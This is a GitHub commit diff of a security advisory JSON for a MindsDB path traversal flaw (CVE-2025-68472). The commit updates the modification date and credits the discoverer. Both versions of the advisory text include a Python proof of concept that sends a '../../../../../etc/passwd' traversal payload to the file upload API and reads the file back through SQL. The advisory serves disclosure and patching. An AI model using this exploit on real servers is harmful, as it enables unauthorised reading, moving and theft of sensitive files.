Skip to content

Commit a48d2c2

Browse files
1 parent c546cba commit a48d2c2

1 file changed

Lines changed: 2 additions & 2 deletions

File tree

advisories/github-reviewed/2026/01/GHSA-qqhf-pm3j-96g7/GHSA-qqhf-pm3j-96g7.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-qqhf-pm3j-96g7",
4-
"modified": "2026-01-12T20:06:27Z",
4+
"modified": "2026-01-20T18:22:20Z",
55
"published": "2026-01-12T16:10:55Z",
66
"aliases": [
77
"CVE-2025-68472"
88
],
99
"summary": "MindsDB has improper sanitation of filepath that leads to information disclosure and DOS",
10-
"details": "### Summary\nAn unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.\n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB’s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n ```bash\n docker pull mindsdb/mindsdb:latest\n docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n ```python\n # poc.py\n import requests, json\n\n base = \"http://127.0.0.1:47334\"\n payload = {\"file\": \"../../../../../etc/passwd\"} # no source_type -> hits vulnerable branch\n\n r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n print(\"PUT status:\", r.status_code, r.text)\n\n q = requests.post(\n f\"{base}/api/sql/query\",\n json={\"query\": \"SELECT * FROM files.leak_rel\"},\n timeout=10,\n )\n print(\"SQL response:\", json.dumps(q.json(), indent=2))\n ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
10+
"details": "### Summary\n\n[BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.\n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB’s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n ```bash\n docker pull mindsdb/mindsdb:latest\n docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n ```python\n # poc.py\n import requests, json\n\n base = \"http://127.0.0.1:47334\"\n payload = {\"file\": \"../../../../../etc/passwd\"} # no source_type -> hits vulnerable branch\n\n r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n print(\"PUT status:\", r.status_code, r.text)\n\n q = requests.post(\n f\"{base}/api/sql/query\",\n json={\"query\": \"SELECT * FROM files.leak_rel\"},\n timeout=10,\n )\n print(\"SQL response:\", json.dumps(q.json(), indent=2))\n ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",

0 commit comments

Comments
 (0)